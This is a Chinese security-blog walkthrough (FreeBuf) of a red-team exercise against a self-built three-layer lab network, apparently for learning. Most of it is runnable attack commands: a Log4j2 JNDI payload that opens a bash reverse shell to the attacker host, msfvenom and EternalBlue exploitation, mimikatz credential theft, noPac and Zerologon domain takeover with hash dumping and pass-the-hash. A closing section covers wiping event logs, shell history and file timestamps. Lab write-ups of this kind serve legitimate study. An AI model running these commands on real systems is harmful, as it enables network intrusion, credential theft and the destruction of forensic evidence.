freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

红队——多层内网环境渗透测试(二)
2022-11-22 22:48:29
所属地 北京

wallhaven-47m1xy

本次多层网络域渗透项目旨在模拟红队攻击人员在授权情况下对目标进行渗透,从外网打点到内网横向穿透,最终获得整个内网权限的过程,包含Log4j2漏洞,MS17-010,CVE-2020-1472,CVE-2021-42287/CVE-2021-42278以及一些痕迹清理的思路等等。

文中若有不当之处,还望各位大佬多多点评。

请注意:

本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。

测试环境搭建

目标:获取域控服务器权限,拿到三个flag。

网络拓扑图

整个环境共三台目标机器,分别处在三层网络环境中:

DMZ区环境处在192.168.254.1/24网段;

第二层网络环境处在10.0.1.1/24网段;

第三层网络环境处在10.0.0.1/24网段;

DMZ区域的主机可以连通外网,其余网段主机均不可与外网连接。

image-20221122223220720

用户 / 主机信息

kali

ip:192.168.254.130

ubantu16

ip:192.168.254.131 10.0.1.6

user:saul

pass:Saul123

域控

ip:10.0.0.12

hostname:AD

user : Administrator

pass : ASDqwe123

域个人机器

ip:10.0.1.7 10.0.0.7

hostname:win7

本地用户:hong:密码空

域账户:redteam/root:Red12345

信息收集

端口扫描/服务探测

nmap -sV -A  -T4 -p- 192.168.254.131

image-20221122214323213

该主机开启了22,38080端口,38080端口扫描到存在web服务,尝试访问。

image-20221122214327425

漏洞探测利用

漏洞探测

这里可以使用burp插件检测到存在Log4j2漏洞。

Log4j2漏洞探测payload: dnlog盲打。

curl 192.168.254.131:38080/hello -X POST -d 'payload=${jndi:ldap://k8v66b,dnslog.cn/aa}'

image-20221122214331745

image-20221122214334665

漏洞利用

利用Log4j2-RCE获得shell JNDI命令注入。

JNDI注入利用工具,

开启LDAP服务,

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.68.254.130

image-20221122214338696

同时开启nc监听,

nc -lvnp 9999

image-20221122214341718

构造payload:

ldap://127.0.0.1:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd]

填入实际参数并编码

## bash一句话反弹shell
bash -i >& /dev/tcp/192.168.254.130/9999 0>&1

## base64编码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI1NC4xMzAvOTk5OSAwPiYx

## url编码+号
YmFzaCAtaSA%252bJiAvZGV2L3RjcC8xOTIuMTY4LjI1NC4xMzAvOTk5OSAwPiYx

## 构造payload
curl 192.168.254.131:38080/hello -X POST -d 'payload=${jndi:ldap://192.168.254.130:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%252bJiAvZGV2L3RjcC8xOTIuMTY4LjI1NC4xMzAvOTk5OSAwPiYx}'

image-20221122214348316

image-20221122214351844

Docker

image-20221122214354752

发现一些问题,猜测可能是docker环境,验证如下:

cat /proc/1/cgroup

image-20221122214357958

Docker runC漏洞逃逸,版本太高。

runc < 1.0-rc6 (Docker < 18.09.2) ,版本太高。

image-20221122214401601.png

容器也未设置privileged特权模式。

image-20221122214409642

在容器中发现一个flag

/root/flag.txt

image-20221122214413955

给出了一个账号密码,

使用ssh尝试远程连接,

image-20221122214418002


image-20221122214421463

发现一个内网地址10.0.1.6

上传fscan

搭建http服务:

python -m http.server 8081

image-20221122214425137

在ssh连接的shell上执行

wget 192.168.254.130:8081/fscan_amd64

image-20221122214427597

./fscan_amd64 -h 10.0.1.1/24

直接执行的话会报权限不够,要先赋予权限

chmod +x fscan_amd64

image-20221122214432218

image-20221122214435005

MSF上线

制作MSF马:

msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.254.130 lport=4444 -f elf -o shell

image-20221122214440658

然后MSF执行

use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp

image-20221122214447315

image-20221122214450048

远程执行,反弹shell

image-20221122214454116

内网渗透

代理转发

frps.ini

[common]
bind_addr = 0.0.0.0        # 设置监听的ip ,一般是你的外网ip,0.0.0.0表示都监听
bind_port = 8000           # 监听的端口,等待客户端连接
dashboard_addr = 0.0.0.0   # frp网站服务器的ip,可以访问登录
dashboard_port = 7600       # frp网站服务器的端口,可以访问登录
dashboard_user = root       # frp网站服务账号
dashboard_pwd  = 123456    # frp网站服务密码
token = 1q2w3e             # 客户端的连接密码
heartbeat_timeout = 90     # 连接超时的时间
max_pool_count = 5   # 允许连接的客户端数量

frpc.ini

[common]
tls_enable = true
server_addr = 192.168.254.130         # vps 服务器地址
server_port = 8000          # vps服务器监听地址
token = 1q2w3e              # 设置的密码 ,设置完流量加密,不好解。      
pool_count = 5            # 将提前建立连接,默认值为 0
protocol = tcp              # 通信方式
health_check_type = tcp    # frpc 将连接本地服务的端口以检测其健康状态
health_check_interval_s = 100   # 健康检查时间间隔
[proxies]
remote_port = 6000  # 把流量转发到vps 那个端口 ,这个是重点等下会用到
plugin = socks5        #plugin 表示为插件
use_encryption = true  
use_compression = true

攻击机:

./frps -c ./frps.ini

image-20221122214500314

ssh远程机器上:

sudo ./frpc -c ./frpc.ini

image-20221122214504127

MS17-010

上面fscan扫描时已经发现了存在MS17-010漏洞 10.0.1.7

设置代理

setg Proxies socks5:127.0.0.1:6000            # 设置代理
set ReverseAllowProxy true                    # 允许反向连接

扫描漏洞

search ms17-010
use auxiliary/scanner/smb/smb_ms17_010  # 选择扫描模块
show options  # 查看模块配置
set rhost 10.0.1.7 # 选择攻击ip
run  

image-20221122214507864

验证存在,尝试进行攻击测试

search ms17-010
use exploit/windows/smb/ms17_010_eternalblue    #攻击测试
set payload windows/x64/meterpreter/bind_tcp    #这里正向使用的是正向shell,是基于我们可以访问到对方,也可以使用reverse_tcp
set rhosts 10.0.1.7    #选择攻击ip
set target 1    #这里我们将target进行设置为win7的,有时候不设置会攻击不成功,查看所有target的命令是:show targets
run/exploit

image-20221122214511726

image-20221122214516190

通过MS7-010攻击成功

域信息收集

尝试输入一些命令发现存在乱码

image-20221122214520190

输入

chcp 65001修改编码

systeminfo

image-20221122214523708

net config workstation     # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user /domain     # 查看域用户
net view /domain     # 查看有几个域
net group /domain     # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group "domain admins" /domain     # 查看域管理员的名字
net group "domain computers" /domain     # 查看域中的其他主机名
net group "domain controllers" /domain     # 查看域控制器(可能有多台)

for /l %i in (1,1,255) do @ping 10.0.0.%i -w 1 -n 1|find /i "ttl="     # 查找域控ip
nslookup redteam.lab    # 查找域控ip

image-20221122214527391

域控IP极有可能为10.0.0.12

主机密码收集

抓取用户密码

load mimikatz
creds_all

image-20221122214531048

image-20221122214533903

成功抓取到域用户root的账号及密码

image-20221122214537458


域渗透

添加路由

使用代理之前,我们需要先添加路由,让MSF能够到达目标机器内网。因为这里socks模块只是将代理设置为监听的端口(默认是1080),即通过proxychains的流量都转给本地的1080端口,又因为是MSF起的监听端口,所以通过代理走的流量也能到达内网

use auxiliary/server/socks_proxy

image-20221122214545694

添加10.0.0.0/24的路由

image-20221122214551449

image-20221122214554926

修改/etc/proxychains4.conf

sock5 0.0.0.0 1080

image-20221122214558118

CVE-2021-42287/CVE-2021-42278

CVE-2021-42278利用AD域计算机账户认证漏洞,使用计算机账户的sAMAccountName冒充域控制器,结合CVE-2021-42287可以获取Kerberos特权属性证书 (PAC),从而使域内普通用户权限提升至域管理员权限。


如果获得了DC用户的TGT票据且域内有一台名为DC$域控,再将DC用户删除,此时使用该TGT去请求s4u2self,如果域控制器账户DC$存在,那么DC就能获得域控制器账户(机器用户DC$)的ST票证。

假如域内有一台域控名为 DC(域控对应的机器用户为 DC$),此时攻击者利用漏洞 CVE-2021-42287 创建一个机器用户 saulGoodman$,再把机器用户 saulGoodman$ 的 sAMAccountName 改成 DC。然后利用 DC 去申请一个TGT票据。再把 DC 的sAMAccountName 改为 saulGoodman$。这个时候 KDC 就会判断域内没有 DC 和这个用户,自动去搜索 DC$(DC$是域内已经的域控DC 的 sAMAccountName),攻击者利用刚刚申请的 TGT 进行 S4U2self,模拟域内的域管去请求域控 DC 的 ST 票据,最终获得域控制器DC的权限。


image-20221122214617574

如果想要深入了解具体原理的话可以去看看其他文章


攻击机不在域内,但是可以访问域控

该漏洞利用只需要一个域用户账户即可拿到 DC 的控制权限

有两种自动化脚本

##攻击靶场

sam-the-admin.py

工具链接:https://github.com/WazeHell/sam-the-admin

该脚本在kali环境中运行,使用前先安装依赖包:pip3 install -r requirements.txt

获取shell

参考:python3 sam_the_admin.py "main/testuser:p@55word" -dc-ip 192.168.43.100 -shell

image-20221122214623885

proxychains python3 sam_the_admin.py "redteam/root:Red12345" -dc-ip 10.0.0.12 -shell


image-20221122214627720

注意:获取shell是通过impacket包中的smbexec.py,获取HASH是通过impacket包中的secretsdump.py,在sam-the-admin.py中有如下定义:

fbinary = "/usr/bin/impacket-smbexec"
if options.dump:
fbinary = "/usr/bin/impacket-secretsdump"

其中smbexec.py的路径是/usr/bin/impacket-smbexec,secretsdump.py的路径是/usr/bin/impacket-secretsdump,如果系统环境中这两个脚本不是此路径,则需要将其调用路径进行修改。

另外,虽然sam-the-admin.py帮助文档中有提到获取HASH和HASH传递认证方式,但是测试中都没有执行成功。


noPac.py

在sam-the-admin.py的基础上改进,工具链接:https://github.com/Ridter/noPac

工具使用前先安装依赖包:pip3 install -r requirements.txt

获取Shell

参考:python3 noPac.py -use-ldap main.test.com/testuser:p@55word -dc-ip 192.168.43.100 -shell

image-20221122214632049

proxychains python3 noPac.py -use-ldap redteam/root:Red12345 -dc-ip 10.0.0.12 -shell


image-20221122214635160

注意log信息中提示Current ms-DS-MachineAccountQuota = 10,表示普通用户新建计算机账户上限为10 (10是默认值,如果修改为0则表示无法新建计算机账户,漏洞利用会失败),工具运行后会尝试将执行过程中新建的计算机账户删掉,但是只有域管权限才可以成功删除,因此在使用普通域用户权限时,每执行一次都会新建一个计算机账户,当数量达到上限10,漏洞利用会失败。

获取HASH

python3 noPac.py -use-ldap main.test.com/testuser:p@55word -dc-ip 192.168.43.100 -dump -just-dc-ntlm

image-20221122214638830

认证方式支持HASH传递

python3 noPac.py -use-ldap main.test.com/testuser -hashes :52888cf384b8d2e56e0cc2bb6b906f99 -dc-ip 192.168.43.100 -dump -just-dc-ntlm


漏洞修复

补丁更新

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42287

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42278

临时防护措施

通过 域控的ADSI编辑器工具将AD的MAQ 配置为0,可中断此漏洞利用链

image-20221122214709392


CVE-2020-1472

该漏洞也被称为“Zerologon”,号称“3秒撸域控”

攻击者在通过NetLogon(MS-NRPC)协议与AD域控建立安全通道时,可利用该漏洞将AD域控的计算机账号密码置为空,从而控制域控服务器。

image-20221122214712930


##攻击靶场

域控
ip:10.0.0.12
hostname:DC
user : Administrator
pass : ASDqwe123
域:redteam.lab

检测漏洞是否存在

使用mimikatz

lsadump::zerologon /target:10.0.0.12 /account:DC$


image-20221122214809380

显示OK,Vulnerable存在该漏洞,接下来进行利用!

置空

proxychains python3 cve-2020-1472-exploit.py DC 10.0.0.12

image-20221122214812249

dumphash

proxychains python3 secretsdump.py -no-pass -just-dc -just-dc-user administrator redteam.lab/DC$\@10.0.0.12

image-20221122214815092

PTH

proxychains python3 wmiexec.py redteam.lab/Administrator\@10.0.0.12 -hashes :88e4d9f............b29这里不方便复制省略了

image-20221122214817915

解决编码问题:

proxychains python3 wmiexec.py redteam.lab/Administrator\@10.0.0.12 -codec 'gbk' -hashes :88e4d9f............b29

image-20221122214820935


恢复

注意:get这里如果使用impacket包中的wmiexec.py脚本的话无法正常执行get命令,可以更换wmiexec.py脚本

reg save HKLM\SYSTEM system.save

reg save HKLM\SAM sam.save

reg save HKLM\SECURITY security.save

get system.save

get sam.save

get security.save

del system.save

del sam.save

del security.save

image-20221122214824170

下载完会在kali的当前目录中存有下载下来的三个文件,然后本地执行。

proxychains python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

image-20221122214826680

proxychains python3 restorepassword.py redteam.red/owa\@owa -target-ip 10.10.10.8 -hexpass caffc4a02a2040858392e5909c5f0e528de461f22d3d0b7b6aed6b5a3544b1ea4f229155f11b2ed358b49c4db0d0f6fdc55139b6887f6184f380d41a1d2d1d75d4532c163d3ebe2b4b83ca0af27714cc4b8b312bc627ac6ffb8c489ece0fbb88f8a274f3e14a0aa70e2b2508a6dff8fffcc8825d8191835cc9cd7784cc88628ac44eb1baa9c8ee0438c3d49c953a59c52d24d09f31da9cef79e56b31d19d8c4257caac83062da4432b9b23d64312aca238c98b2b8808ed652f17c1a75b81059928bf4a8f5e9334cc0c37f07e74863902055b0e8b18de02d2d0dac450d51fd6e13639bc7ef887f244a7c298695284575b
参考上面代码

image-20221122214829673

proxychains python3 restorepassword.py redteam.lab/DC\@DC -target-ip 10.0.0.12 -hexpass   ....................

image-20221122214832273

image-20221122214834899

至此,密码恢复完成。

痕迹清理

Windows

windows主机日志全量清理: 
PowerShell -Command "& {Clear-Eventlog -Log Application,System,Security}"

防火墙日志清理:
cd logfiles/firewall
del xxx.log

日志清理主要分为全量清理和定向清理,全量清理可以提升被溯源反制的难度,但其动作较大容易被发现;定向清理相对比较隐蔽,可以增加溯源反制的时间和成本,但可能清理不到位,增加被溯源反制的风险。实战中两者结合运用。注意:日志清理也是系统事件,所以会被记录,不管怎样,不存在完美的痕迹清理。

windows主机三大核心日志清理

## 全量清理
PowerShell -Command "& {Clear-Eventlog -Log Application,System,Security}"

清理前后:

image-20221122214840939

防火墙日志清理

cd logfiles/firewall
del xxx.log

服务器日志清理

默认情况,在 %systemroot%\system32\logfles\ 下有FTP、IIS服务器等日志。
FTP日志默认位置: %systemroot%\system32\logfiles\msftpsvc1\
WWW日志默认位置: %sys temroot%\sys tem32\logfiles\w3svc1\
Scheduler服务日志默认位置: %systemroot%\schedlgu.txt
DNS日志默认位置: %systemroot%\system32\config
如果发现这些日志被重定位,通过注册表 HKEY_LOCAL_MACHINE\sys
tem\CurrentControlSet\Services\Eventlog 下很多的子表,查到一些日志的定位目录。

远程连接日志清理

# 进入Default.rdp所在路径
cd %userprofile%\documents\
# 使用attrib去掉Default.rdp文件的,系统文件属性(S);隐藏文件属性(H)
attrib Default.rdp -s -h
# 删除
del Default.rdp

近期访问记录清理

# 用户最近访问过的文件和网页记录
C:\Users\root\AppData\Local\Microsoft\Windows\History
# 近期访问过的文件
C:\Users\root\Recent

安全删除文件

利用cipher覆写文件

cipher /w:X # 其中X指盘符或文件具体位置
cipher /w:c:\users\root\desktop\flag.txt

安全隐藏文件

Powershell修改文件时间戳

Function edit_time($path){$date1 =Get-ChildItem |
Select LastWriteTime|Get-Random;$date2 =Get-ChildItem |
Select LastWriteTime|Get-Random;$date3 =Get-ChildItem |
Select LastWriteTime|Get-Random;$(Get-Item
$path).lastaccesstime=$date1.LastWriteTime;
$(Get-Item $path).creationtime=$date2.LastWriteTime ;
$(Get-Item $path).lastwritetime=$date3.LastWriteTime};
edit_time("C:\Users\root\desktop\flag.txt")

Linux

隐藏远程ssh登陆记录:
ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i

清理历史记录:
history -c

当前shell终止history记录:
set +o history 、 kill -9 $$

清理日志:
ls -al /var/log/lastlog && echo > /var/log/lastlog && ls -al /var/log/lastlog

隐藏文件修改时间:
touch -r A B (修改系统时间后执行效果更好)

清理历史记录

history -c

清理日志文件

# 全量清理
echo > /var/log/btmp
echo > /var/log/lastlog
cat /dev/null > /var/log/secure
cat /dev/null > /var/log/message
# 部分清理
sed -i '/你的IP/'d filename
# 部分替换
sed -i 's/1.1.1.1/2.2.2.2/g' /var/log/nginx/access.log
# 例如
ls -al /var/log/lastlog && echo > /var/log/lastlog && ls -al /var/log/lastlog

image-20221122214851626

安全删除文件

使用shred覆写文件

shred -f -u -z -v -n 6 ew_for_linux64

image-20221122214855108

总结

通过上述过程,我们对比如Log4j2漏洞,MS17-010漏洞,CVE-2020-1472漏洞,CVE-2021-42287/CVE-2021-42278漏洞有了新的认知或者理解,网络安全的学习离不开实际操作,想要搞明白漏洞更是要实际去复现学习。

最后希望大家提高安全意识,没有网络安全就没有国家安全。

# MS17-010 # CVE-2020-1472 # log4j2 # 痕迹清理
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录